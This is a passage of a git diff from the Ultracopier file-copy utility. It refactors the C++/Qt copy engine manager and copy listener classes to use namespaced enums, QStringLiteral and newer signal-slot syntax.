+ newItem.factory->setResources(newItem.options,plugin.writablePath,plugin.path,&FacilityEngine::facilityEngine,ULTRACOPIER_VERSION_PORTABLE_BOOL);
+ newItem.optionsWidget=newItem.factory->options();
+ newItem.supportedProtocolsForTheSource=newItem.factory->supportedProtocolsForTheSource();
+ newItem.supportedProtocolsForTheDestination=newItem.factory->supportedProtocolsForTheDestination();
+ newItem.canDoOnlyCopy=newItem.factory->canDoOnlyCopy();
+ newItem.type=newItem.factory->getCopyType();
+ newItem.transferListOperation=newItem.factory->getTransferListOperation();
+ optionDialog->addPluginOptionWidget(PluginType_CopyEngine,newItem.name,newItem.optionsWidget);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("plugin: ")+newItem.name+QStringLiteral(" loaded, send options"));
+ //emit newCopyEngineOptions(plugin.path,newItem.name,newItem.optionsWidget);
+ pluginList << newItem;
+ connect(LanguagesManager::languagesManager,&LanguagesManager::newLanguageLoaded,newItem.factory,&PluginInterface_CopyEngineFactory::newLanguageLoaded);
+ if(PluginsManager::pluginsManager->allPluginHaveBeenLoaded())
+ allPluginIsloaded();
+ if(isConnected)
+ emit addCopyEngine(newItem.name,newItem.canDoOnlyCopy);
}
+#ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE
void CopyEngineManager::onePluginWillBeRemoved(const PluginsAvailable &plugin)
{
- int index=0;
- while(index<pluginList.size())
- {
- if(pluginList.at(index).path==plugin.path)
- {
- if(pluginList.at(index).intances.size()<=0)
- {
- emit removeCopyEngine(pluginList.at(index).name);
- pluginList.removeAt(index);
- allPluginIsloaded();
- return;
- }
- }
- index++;
- }
+ int index=0;
+ while(index<pluginList.size())
+ {
+ if(pluginList.at(index).path==plugin.path)
+ {
+ if(pluginList.at(index).intances.size()<=0)
+ {
+ emit removeCopyEngine(pluginList.at(index).name);
+ pluginList.removeAt(index);
+ allPluginIsloaded();
+ return;
+ }
+ }
+ index++;
+ }
}
void CopyEngineManager::onePluginWillBeUnloaded(const PluginsAvailable &plugin)
{
- if(plugin.category!=PluginType_CopyEngine)
- return;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- int index=0;
- while(index<pluginList.size())
- {
- if(pluginList.at(index).path==plugin.path)
- {
- delete pluginList.at(index).options;
- delete pluginList.at(index).factory;
- pluginList.at(index).pointer->unload();
- return;
- }
- index++;
- }
+ if(plugin.category!=PluginType_CopyEngine)
+ return;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ int index=0;
+ while(index<pluginList.size())
+ {
+ if(pluginList.at(index).path==plugin.path)
+ {
+ delete pluginList.at(index).options;
+ delete pluginList.at(index).factory;
+ pluginList.at(index).pointer->unload();
+ return;
+ }
+ index++;
+ }
}
+#endif
-CopyEngineManager::returnCopyEngine CopyEngineManager::getCopyEngine(const CopyMode &mode,const QStringList &protocolsUsedForTheSources,const QString &protocolsUsedForTheDestination)
+CopyEngineManager::returnCopyEngine CopyEngineManager::getCopyEngine(const Ultracopier::CopyMode &mode,const QStringList &protocolsUsedForTheSources,const QString &protocolsUsedForTheDestination)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("start, pluginList.size(): %1, mode: %2, and particular protocol").arg(pluginList.size()).arg((int)mode));
- returnCopyEngine temp;
- int index=0;
- bool isTheGoodEngine=false;
- while(index<pluginList.size())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("pluginList.at(%1).name: %2").arg(index).arg(pluginList.at(index).name));
- isTheGoodEngine=false;
- if(mode!=Move || !pluginList.at(index).canDoOnlyCopy)
- {
- if(protocolsUsedForTheSources.size()==0)
- isTheGoodEngine=true;
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("pluginList.at(index).supportedProtocolsForTheDestination: %1").arg(pluginList.at(index).supportedProtocolsForTheDestination.join(";")));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("protocolsUsedForTheDestination: %1").arg(protocolsUsedForTheDestination));
- if(pluginList.at(index).supportedProtocolsForTheDestination.contains(protocolsUsedForTheDestination))
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("pluginList.at(index).supportedProtocolsForTheSource: %1").arg(pluginList.at(index).supportedProtocolsForTheSource.join(";")));
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("protocolsUsedForTheSources.at(indexProto): %1").arg(protocolsUsedForTheSources.join(";")));
- isTheGoodEngine=true;
- int indexProto=0;
- while(indexProto<protocolsUsedForTheSources.size())
- {
- if(!pluginList.at(index).supportedProtocolsForTheSource.contains(protocolsUsedForTheSources.at(indexProto)))
- {
- isTheGoodEngine=false;
- break;
- }
- indexProto++;
- }
- }
- }
- }
- if(isTheGoodEngine)
- {
- pluginList[index].intances<<pluginList[index].factory->getInstance();
- temp.engine=pluginList[index].intances.last();
- temp.canDoOnlyCopy=pluginList.at(index).canDoOnlyCopy;
- temp.type=pluginList.at(index).type;
- temp.transferListOperation=pluginList.at(index).transferListOperation;
- return temp;
- }
- index++;
- }
- if(mode==Move)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Cannot find any copy engine with motions support");
- QMessageBox::critical(NULL,tr("Warning"),tr("Cannot find any copy engine with motions support"));
- }
- else
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"Cannot find any compatible engine!");
- QMessageBox::critical(NULL,tr("Warning"),tr("Cannot find any compatible engine!"));
- }
- temp.engine=NULL;
- temp.type=File;
- temp.canDoOnlyCopy=true;
- return temp;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start, pluginList.size(): %1, mode: %2, and particular protocol").arg(pluginList.size()).arg((int)mode));
+ returnCopyEngine temp;
+ int index=0;
+ bool isTheGoodEngine=false;
+ while(index<pluginList.size())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("pluginList.at(%1).name: %2").arg(index).arg(pluginList.at(index).name));
+ isTheGoodEngine=false;
+ if(mode!=Ultracopier::Move || !pluginList.at(index).canDoOnlyCopy)
+ {
+ if(protocolsUsedForTheSources.size()==0)
+ isTheGoodEngine=true;
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("pluginList.at(index).supportedProtocolsForTheDestination: %1").arg(pluginList.at(index).supportedProtocolsForTheDestination.join(";")));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("protocolsUsedForTheDestination: %1").arg(protocolsUsedForTheDestination));
+ if(protocolsUsedForTheDestination.isEmpty() || pluginList.at(index).supportedProtocolsForTheDestination.contains(protocolsUsedForTheDestination))
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("pluginList.at(index).supportedProtocolsForTheSource: %1").arg(pluginList.at(index).supportedProtocolsForTheSource.join(";")));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("protocolsUsedForTheSources.at(indexProto): %1").arg(protocolsUsedForTheSources.join(";")));
+ isTheGoodEngine=true;
+ int indexProto=0;
+ while(indexProto<protocolsUsedForTheSources.size())
+ {
+ if(!pluginList.at(index).supportedProtocolsForTheSource.contains(protocolsUsedForTheSources.at(indexProto)))
+ {
+ isTheGoodEngine=false;
+ break;
+ }
+ indexProto++;
+ }
+ }
+ }
+ }
+ if(isTheGoodEngine)
+ {
+ pluginList[index].intances<<pluginList.at(index).factory->getInstance();
+ temp.engine=pluginList.at(index).intances.last();
+ temp.canDoOnlyCopy=pluginList.at(index).canDoOnlyCopy;
+ temp.type=pluginList.at(index).type;
+ temp.transferListOperation=pluginList.at(index).transferListOperation;
+ return temp;
+ }
+ index++;
+ }
+ if(mode==Ultracopier::Move)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Cannot find any copy engine with move support");
+ QMessageBox::critical(NULL,tr("Warning"),tr("Cannot find any copy engine with move support"));
+ }
+ else
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"Cannot find any compatible engine!");
+ QMessageBox::critical(NULL,tr("Warning"),tr("Cannot find any compatible engine!"));
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("protocolsUsedForTheSources: %1, protocolsUsedForTheDestination: %2").arg(protocolsUsedForTheSources.join(";")).arg(protocolsUsedForTheDestination));
+
+ temp.engine=NULL;
+ temp.type=Ultracopier::File;
+ temp.canDoOnlyCopy=true;
+ return temp;
}
-CopyEngineManager::returnCopyEngine CopyEngineManager::getCopyEngine(const CopyMode &mode,const QString &name)
+CopyEngineManager::returnCopyEngine CopyEngineManager::getCopyEngine(const Ultracopier::CopyMode &mode,const QString &name)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("start, pluginList.size(): %1, with mode: %2, and name: %3").arg(pluginList.size()).arg((int)mode).arg(name));
- returnCopyEngine temp;
- int index=0;
- while(index<pluginList.size())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("Check matching: %1").arg(pluginList.at(index).name));
- if(pluginList.at(index).name==name)
- {
- if(mode==Move && pluginList.at(index).canDoOnlyCopy)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"This copy engine does not support motions: pluginList.at(index).canDoOnlyCopy: "+QString::number(pluginList.at(index).canDoOnlyCopy));
- QMessageBox::critical(NULL,tr("Warning"),tr("This copy engine does not support motions"));
- temp.engine=NULL;
- return temp;
- }
- pluginList[index].intances<<pluginList[index].factory->getInstance();
- temp.engine=pluginList[index].intances.last();
- temp.canDoOnlyCopy=pluginList.at(index).canDoOnlyCopy;
- temp.type=pluginList.at(index).type;
- temp.transferListOperation=pluginList.at(index).transferListOperation;
- return temp;
- }
- index++;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("Cannot find any engine with this name: %1").arg(name));
- QMessageBox::critical(NULL,tr("Warning"),tr("Cannot find any engine with this name: %1").arg(name));
- temp.engine=NULL;
- temp.type=File;
- temp.canDoOnlyCopy=true;
- return temp;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start, pluginList.size(): %1, with mode: %2, and name: %3").arg(pluginList.size()).arg((int)mode).arg(name));
+ returnCopyEngine temp;
+ int index=0;
+ while(index<pluginList.size())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("Check matching: %1").arg(pluginList.at(index).name));
+ if(pluginList.at(index).name==name)
+ {
+ if(mode==Ultracopier::Move && pluginList.at(index).canDoOnlyCopy)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"This copy engine does not support move: pluginList.at(index).canDoOnlyCopy: "+QString::number(pluginList.at(index).canDoOnlyCopy));
+ QMessageBox::critical(NULL,tr("Warning"),tr("This copy engine does not support move"));
+ temp.engine=NULL;
+ return temp;
+ }
+ pluginList[index].intances<<pluginList.at(index).factory->getInstance();
+ temp.engine=pluginList.at(index).intances.last();
+ temp.canDoOnlyCopy=pluginList.at(index).canDoOnlyCopy;
+ temp.type=pluginList.at(index).type;
+ temp.transferListOperation=pluginList.at(index).transferListOperation;
+ return temp;
+ }
+ index++;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("Cannot find any engine with this name: %1").arg(name));
+ QMessageBox::critical(NULL,tr("Warning"),tr("Cannot find any engine with this name: %1").arg(name));
+ temp.engine=NULL;
+ temp.type=Ultracopier::File;
+ temp.canDoOnlyCopy=true;
+ return temp;
}
#ifdef ULTRACOPIER_DEBUG
-void CopyEngineManager::debugInformation(DebugLevel level,const QString& fonction,const QString& text,const QString& file,const int& ligne)
+void CopyEngineManager::debugInformation(const Ultracopier::DebugLevel &level,const QString& fonction,const QString& text,const QString& file,const int& ligne)
{
- DebugEngine::addDebugInformationStatic(level,fonction,text,file,ligne,"Copy Engine plugin");
+ DebugEngine::addDebugInformationStatic(level,fonction,text,file,ligne,QStringLiteral("Copy Engine plugin"));
}
#endif // ULTRACOPIER_DEBUG
/// \brief To notify when new value into a group have changed
void CopyEngineManager::newOptionValue(const QString &groupName,const QString &variableName,const QVariant &value)
{
- if(groupName=="CopyEngine" && variableName=="List")
- {
- Q_UNUSED(value)
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"start(\""+groupName+"\",\""+variableName+"\",\""+value.toString()+"\")");
- allPluginIsloaded();
- }
+ if(groupName==QStringLiteral("CopyEngine") && variableName==QStringLiteral("List"))
+ {
+ Q_UNUSED(value)
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,"start(\""+groupName+"\",\""+variableName+"\",\""+value.toString()+"\")");
+ allPluginIsloaded();
+ }
}
void CopyEngineManager::setIsConnected()
{
- /* ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- prevent bug, I don't know why, in one case it bug here
- */
- isConnected=true;
- int index=0;
- while(index<pluginList.size())
- {
- emit addCopyEngine(pluginList.at(index).name,pluginList.at(index).canDoOnlyCopy);
- index++;
- }
+ /* ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,"start");
+ prevent bug, I don't know why, in one case it bug here
+ */
+ isConnected=true;
+ int index=0;
+ while(index<pluginList.size())
+ {
+ emit addCopyEngine(pluginList.at(index).name,pluginList.at(index).canDoOnlyCopy);
+ index++;
+ }
}
void CopyEngineManager::allPluginIsloaded()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- QStringList actualList;
- int index=0;
- while(index<pluginList.size())
- {
- actualList << pluginList.at(index).name;
- index++;
- }
- QStringList preferedList=options->getOptionValue("CopyEngine","List").toStringList();
- preferedList.removeDuplicates();
- actualList.removeDuplicates();
- index=0;
- while(index<preferedList.size())
- {
- if(!actualList.contains(preferedList.at(index)))
- {
- preferedList.removeAt(index);
- index--;
- }
- index++;
- }
- index=0;
- while(index<actualList.size())
- {
- if(!preferedList.contains(actualList.at(index)))
- preferedList << actualList.at(index);
- index++;
- }
- options->setOptionValue("CopyEngine","List",preferedList);
- QList<CopyEnginePlugin> newPluginList;
- index=0;
- while(index<preferedList.size())
- {
- int pluginListIndex=0;
- while(pluginListIndex<pluginList.size())
- {
- if(preferedList.at(index)==pluginList.at(pluginListIndex).name)
- {
- newPluginList << pluginList.at(pluginListIndex);
- break;
- }
- pluginListIndex++;
- }
- index++;
- }
- pluginList=newPluginList;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ QStringList actualList;
+ int index=0;
+ while(index<pluginList.size())
+ {
+ actualList << pluginList.at(index).name;
+ index++;
+ }
+ QStringList preferedList=OptionEngine::optionEngine->getOptionValue(QStringLiteral("CopyEngine"),QStringLiteral("List")).toStringList();
+ preferedList.removeDuplicates();
+ actualList.removeDuplicates();
+ index=0;
+ while(index<preferedList.size())
+ {
+ if(!actualList.contains(preferedList.at(index)))
+ {
+ preferedList.removeAt(index);
+ index--;
+ }
+ index++;
+ }
+ index=0;
+ while(index<actualList.size())
+ {
+ if(!preferedList.contains(actualList.at(index)))
+ preferedList << actualList.at(index);
+ index++;
+ }
+ OptionEngine::optionEngine->setOptionValue(QStringLiteral("CopyEngine"),QStringLiteral("List"),preferedList);
+ QList<CopyEnginePlugin> newPluginList;
+ index=0;
+ while(index<preferedList.size())
+ {
+ int pluginListIndex=0;
+ while(pluginListIndex<pluginList.size())
+ {
+ if(preferedList.at(index)==pluginList.at(pluginListIndex).name)
+ {
+ newPluginList << pluginList.at(pluginListIndex);
+ break;
+ }
+ pluginListIndex++;
+ }
+ index++;
+ }
+ pluginList=newPluginList;
}
bool CopyEngineManager::protocolsSupportedByTheCopyEngine(PluginInterface_CopyEngine * engine,const QStringList &protocolsUsedForTheSources,const QString &protocolsUsedForTheDestination)
{
- int index=0;
- while(index<pluginList.size())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("pluginList.at(%1).name: %2").arg(index).arg(pluginList.at(index).name));
- if(pluginList.at(index).intances.contains(engine))
- {
- if(!pluginList.at(index).supportedProtocolsForTheDestination.contains(protocolsUsedForTheDestination))
- return false;
- int indexProto=0;
- while(indexProto<protocolsUsedForTheSources.size())
- {
- if(!pluginList.at(index).supportedProtocolsForTheSource.contains(protocolsUsedForTheSources.at(indexProto)))
- return false;
- indexProto++;
- }
- return true;
- }
- }
- return false;
+ int index=0;
+ while(index<pluginList.size())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("pluginList.at(%1).name: %2").arg(index).arg(pluginList.at(index).name));
+ if(pluginList.at(index).intances.contains(engine))
+ {
+ if(!pluginList.at(index).supportedProtocolsForTheDestination.contains(protocolsUsedForTheDestination))
+ return false;
+ int indexProto=0;
+ while(indexProto<protocolsUsedForTheSources.size())
+ {
+ if(!pluginList.at(index).supportedProtocolsForTheSource.contains(protocolsUsedForTheSources.at(indexProto)))
+ return false;
+ indexProto++;
+ }
+ return true;
+ }
+ }
+ return false;
}
diff --git a/CopyEngineManager.h b/CopyEngineManager.h
index 1b3ce58..1338081 100644
--- a/CopyEngineManager.h
+++ b/CopyEngineManager.h
@@ -1,103 +1,105 @@
/** \file CopyEngineManager.h
\brief Define the copy engine manager
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
#ifndef COPYENGINEMANAGER_H
#define COPYENGINEMANAGER_H
#include <QObject>
+#ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE_DIRECT
#include <QPluginLoader>
+#endif
#include <QList>
#include <QWidget>
#include <QString>
#include "Environment.h"
-#include "GlobalClass.h"
#include "LocalPluginOptions.h"
#include "OptionDialog.h"
#include "interface/PluginInterface_CopyEngine.h"
#include "FacilityEngine.h"
namespace Ui {
- class CopyEngineOptions;
+ class CopyEngineOptions;
}
/** \brief Manage copy engine plugins and their instance */
-class CopyEngineManager : public QObject, public GlobalClass
+class CopyEngineManager : public QObject
{
- Q_OBJECT
+ Q_OBJECT
public:
- /** \brief internal structure to return one copy engine instance */
- struct returnCopyEngine
- {
- PluginInterface_CopyEngine * engine; ///< The copy engine instance
- bool canDoOnlyCopy; ///< true if can do only the copy (not move)
- CopyType type; ///< Kind of copy what it can do
- TransferListOperation transferListOperation;
- };
- explicit CopyEngineManager(OptionDialog *optionDialog);
- /** \brief return copy engine instance when know the sources and destinations
- \param mode the mode (copy/move)
- \param protocolsUsedForTheSources list of sources used
- \param protocolsUsedForTheDestination list of destination used
- \see getCopyEngine()
- */
- returnCopyEngine getCopyEngine(const CopyMode &mode,const QStringList &protocolsUsedForTheSources,const QString &protocolsUsedForTheDestination);
- /** \brief return copy engine instance with specific engine
- \param mode the mode (copy/move)
- \param name name of the engine needed
- \see getCopyEngine()
- */
- returnCopyEngine getCopyEngine(const CopyMode &mode,const QString &name);
- //bool currentEngineCanDoOnlyCopy(QStringList protocolsUsedForTheSources,QString protocolsUsedForTheDestination="");
- //CopyType currentEngineGetCopyType(QStringList protocolsUsedForTheSources,QString protocolsUsedForTheDestination="");
- /** \brief to send all signal because all object is connected on it */
- void setIsConnected();
- /** \brief check if the protocols given is supported by the copy engine
- \see Core::newCopy()
- \see Core::newMove()
- */
- bool protocolsSupportedByTheCopyEngine(PluginInterface_CopyEngine * engine,const QStringList &protocolsUsedForTheSources,const QString &protocolsUsedForTheDestination);
+ /** \brief internal structure to return one copy engine instance */
+ struct returnCopyEngine
+ {
+ PluginInterface_CopyEngine * engine; ///< The copy engine instance
+ bool canDoOnlyCopy; ///< true if can do only the copy (not move)
+ Ultracopier::CopyType type; ///< Kind of copy what it can do
+ Ultracopier::TransferListOperation transferListOperation;
+ };
+ explicit CopyEngineManager(OptionDialog *optionDialog);
+ /** \brief return copy engine instance when know the sources and destinations
+ \param mode the mode (copy/move)
+ \param protocolsUsedForTheSources list of sources used
+ \param protocolsUsedForTheDestination list of destination used
+ \see getCopyEngine()
+ */
+ returnCopyEngine getCopyEngine(const Ultracopier::CopyMode &mode,const QStringList &protocolsUsedForTheSources,const QString &protocolsUsedForTheDestination);
+ /** \brief return copy engine instance with specific engine
+ \param mode the mode (copy/move)
+ \param name name of the engine needed
+ \see getCopyEngine()
+ */
+ returnCopyEngine getCopyEngine(const Ultracopier::CopyMode &mode,const QString &name);
+ //bool currentEngineCanDoOnlyCopy(QStringList protocolsUsedForTheSources,QString protocolsUsedForTheDestination="");
+ //CopyType currentEngineGetCopyType(QStringList protocolsUsedForTheSources,QString protocolsUsedForTheDestination="");
+ /** \brief to send all signal because all object is connected on it */
+ void setIsConnected();
+ /** \brief check if the protocols given is supported by the copy engine
+ \see Core::newCopy()
+ \see Core::newMove()
+ */
+ bool protocolsSupportedByTheCopyEngine(PluginInterface_CopyEngine * engine,const QStringList &protocolsUsedForTheSources,const QString &protocolsUsedForTheDestination);
private slots:
- void onePluginAdded(const PluginsAvailable &plugin);
- void onePluginWillBeRemoved(const PluginsAvailable &plugin);
- void onePluginWillBeUnloaded(const PluginsAvailable &plugin);
- #ifdef ULTRACOPIER_DEBUG
- void debugInformation(DebugLevel level,const QString& fonction,const QString& text,const QString& file,const int& ligne);
- #endif // ULTRACOPIER_DEBUG
- /// \brief To notify when new value into a group have changed
- void newOptionValue(const QString &groupName,const QString &variableName,const QVariant &value);
- void allPluginIsloaded();
+ void onePluginAdded(const PluginsAvailable &plugin);
+ #ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE
+ void onePluginWillBeRemoved(const PluginsAvailable &plugin);
+ void onePluginWillBeUnloaded(const PluginsAvailable &plugin);
+ #endif
+ #ifdef ULTRACOPIER_DEBUG
+ void debugInformation(const Ultracopier::DebugLevel &level, const QString& fonction, const QString& text, const QString& file, const int& ligne);
+ #endif // ULTRACOPIER_DEBUG
+ /// \brief To notify when new value into a group have changed
+ void newOptionValue(const QString &groupName,const QString &variableName,const QVariant &value);
+ void allPluginIsloaded();
private:
- /// \brief the option interface
- struct CopyEnginePlugin
- {
- QString path;
- QString name;
- QString pluginPath;
- QStringList supportedProtocolsForTheSource;
- QStringList supportedProtocolsForTheDestination;
- QPluginLoader * pointer;
- PluginInterface_CopyEngineFactory * factory;
- QList<PluginInterface_CopyEngine *> intances;
- bool canDoOnlyCopy;
- CopyType type;
- TransferListOperation transferListOperation;
- LocalPluginOptions *options;
- QWidget *optionsWidget;
- };
- QList<CopyEnginePlugin> pluginList;
- OptionDialog *optionDialog;
- bool isConnected;
- FacilityEngine facilityEngine;
+ /// \brief the option interface
+ struct CopyEnginePlugin
+ {
+ QString path;
+ QString name;
+ QString pluginPath;
+ QStringList supportedProtocolsForTheSource;
+ QStringList supportedProtocolsForTheDestination;
+ #ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE_DIRECT
+ QPluginLoader * pointer;
+ #endif
+ PluginInterface_CopyEngineFactory * factory;
+ QList<PluginInterface_CopyEngine *> intances;
+ bool canDoOnlyCopy;
+ Ultracopier::CopyType type;
+ Ultracopier::TransferListOperation transferListOperation;
+ LocalPluginOptions *options;
+ QWidget *optionsWidget;
+ };
+ QList<CopyEnginePlugin> pluginList;
+ OptionDialog *optionDialog;
+ bool isConnected;
signals:
- //void newCopyEngineOptions(QString,QString,QWidget *);
- void addCopyEngine(QString name,bool canDoOnlyCopy);
- void removeCopyEngine(QString name);
- void previouslyPluginAdded(PluginsAvailable);
+ //void newCopyEngineOptions(QString,QString,QWidget *);
+ void addCopyEngine(QString name,bool canDoOnlyCopy) const;
+ void removeCopyEngine(QString name) const;
+ void previouslyPluginAdded(PluginsAvailable) const;
};
#endif // COPYENGINEMANAGER_H
diff --git a/CopyListener.cpp b/CopyListener.cpp
index c648b97..897a4c4 100755..100644
--- a/CopyListener.cpp
+++ b/CopyListener.cpp
@@ -1,392 +1,465 @@
/** \file CopyListener.h
\brief Define the copy listener
\author alpha_one_x86
-\version 0.3
-\date 2010
\licence GPL3, see the file COPYING */
#include "CopyListener.h"
+#include "LanguagesManager.h"
+
+#ifdef ULTRACOPIER_PLUGIN_ALL_IN_ONE_DIRECT
+#include "plugins/Listener/catchcopy-v0002/listener.h"
+#endif
+
+#include <QRegularExpression>
+#include <QMessageBox>
CopyListener::CopyListener(OptionDialog *optionDialog)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- this->optionDialog=optionDialog;
- pluginLoader=new PluginLoader(optionDialog);
- //load the options
- tryListen=false;
- QList<QPair<QString, QVariant> > KeysList;
- KeysList.append(qMakePair(QString("CatchCopyAsDefault"),QVariant(true)));
- options->addOptionGroup("CopyListener",KeysList);
- plugins->lockPluginListEdition();
- QList<PluginsAvailable> list=plugins->getPluginsByCategory(PluginType_Listener);
- qRegisterMetaType<PluginsAvailable>("PluginsAvailable");
- qRegisterMetaType<ListeningState>("ListeningState");
- connect(this,SIGNAL(previouslyPluginAdded(PluginsAvailable)), this,SLOT(onePluginAdded(PluginsAvailable)),Qt::QueuedConnection);
- connect(plugins,SIGNAL(onePluginAdded(PluginsAvailable)), this,SLOT(onePluginAdded(PluginsAvailable)),Qt::QueuedConnection);
- connect(plugins,SIGNAL(onePluginWillBeRemoved(PluginsAvailable)), this,SLOT(onePluginWillBeRemoved(PluginsAvailable)),Qt::DirectConnection);
- connect(plugins,SIGNAL(pluginListingIsfinish()), this,SLOT(allPluginIsloaded()),Qt::QueuedConnection);
- connect(pluginLoader,SIGNAL(pluginLoaderReady(CatchState,bool,bool)), this,SIGNAL(pluginLoaderReady(CatchState,bool,bool)));
- foreach(PluginsAvailable currentPlugin,list)
- emit previouslyPluginAdded(currentPlugin);
- plugins->unlockPluginListEdition();
- last_state=NotListening;
- last_have_plugin=false;
- last_inWaitOfReply=false;
+ stopIt=false;
+ this->optionDialog=optionDialog;
+ pluginLoader=new PluginLoader(optionDialog);
+ //load the options
+ tryListen=false;
+ PluginsManager::pluginsManager->lockPluginListEdition();
+ QList<PluginsAvailable> list=PluginsManager::pluginsManager->getPluginsByCategory(PluginType_Listener);
+ connect(this,&CopyListener::previouslyPluginAdded, this,&CopyListener::onePluginAdded,Qt::QueuedConnection);
+ connect(PluginsManager::pluginsManager,&PluginsManager::onePluginAdded, this,&CopyListener::onePluginAdded,Qt::QueuedConnection);
+ #ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE
+ connect(PluginsManager::pluginsManager,&PluginsManager::onePluginWillBeRemoved, this,&CopyListener::onePluginWillBeRemoved,Qt::DirectConnection);
+ #endif
+ connect(PluginsManager::pluginsManager,&PluginsManager::pluginListingIsfinish, this,&CopyListener::allPluginIsloaded,Qt::QueuedConnection);
+ connect(pluginLoader,&PluginLoader::pluginLoaderReady, this,&CopyListener::pluginLoaderReady);
+ foreach(PluginsAvailable currentPlugin,list)
+ emit previouslyPluginAdded(currentPlugin);
+ PluginsManager::pluginsManager->unlockPluginListEdition();
+ last_state=Ultracopier::NotListening;
+ last_have_plugin=false;
+ last_inWaitOfReply=false;
+ stripSeparatorRegex=QRegularExpression(QStringLiteral("[\\\\/]+$"));
}
CopyListener::~CopyListener()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- QList<PluginsAvailable> list=plugins->getPluginsByCategory(PluginType_Listener);
- foreach(PluginsAvailable currentPlugin,list)
- onePluginWillBeRemoved(currentPlugin);
- delete pluginLoader;
+ stopIt=true;
+ if(pluginLoader!=NULL)
+ {
+ delete pluginLoader;
+ pluginLoader=NULL;
+ }
}
void CopyListener::resendState()
{
- if(plugins->allPluginHaveBeenLoaded())
- {
- sendState(true);
- pluginLoader->resendState();
- }
+ if(PluginsManager::pluginsManager->allPluginHaveBeenLoaded())
+ {
+ sendState(true);
+ if(pluginLoader!=NULL)
+ pluginLoader->resendState();
+ }
}
void CopyListener::onePluginAdded(const PluginsAvailable &plugin)
{
- if(plugin.category!=PluginType_Listener)
- return;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"try load: "+plugin.path+PluginsManager::getResolvedPluginName("listener"));
- //setFileName
- QPluginLoader *pluginOfPluginLoader=new QPluginLoader(plugin.path+PluginsManager::getResolvedPluginName("listener"));
- QObject *pluginInstance = pluginOfPluginLoader->instance();
- if(pluginInstance)
- {
- PluginInterface_Listener *listen = qobject_cast<PluginInterface_Listener *>(pluginInstance);
- //check if found
- int index=0;
- while(index<pluginList.size())
- {
- if(pluginList.at(index).listenInterface==listen)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,QString("Plugin already found %1 for %2").arg(pluginList.at(index).path).arg(plugin.path));
- pluginOfPluginLoader->unload();
- return;
- }
- index++;
- }
- if(listen)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"Plugin correctly loaded");
- #ifdef ULTRACOPIER_DEBUG
- connect(listen,SIGNAL(debugInformation(DebugLevel,QString,QString,QString,int)),this,SLOT(debugInformation(DebugLevel,QString,QString,QString,int)));
- #endif // ULTRACOPIER_DEBUG
- connect(listen,SIGNAL(newCopy(quint32,QStringList)), this,SLOT(newPluginCopy(quint32,QStringList)));
- connect(listen,SIGNAL(newCopy(quint32,QStringList,QString)), this,SLOT(newPluginCopy(quint32,QStringList,QString)));
- connect(listen,SIGNAL(newMove(quint32,QStringList)), this,SLOT(newPluginMove(quint32,QStringList)));
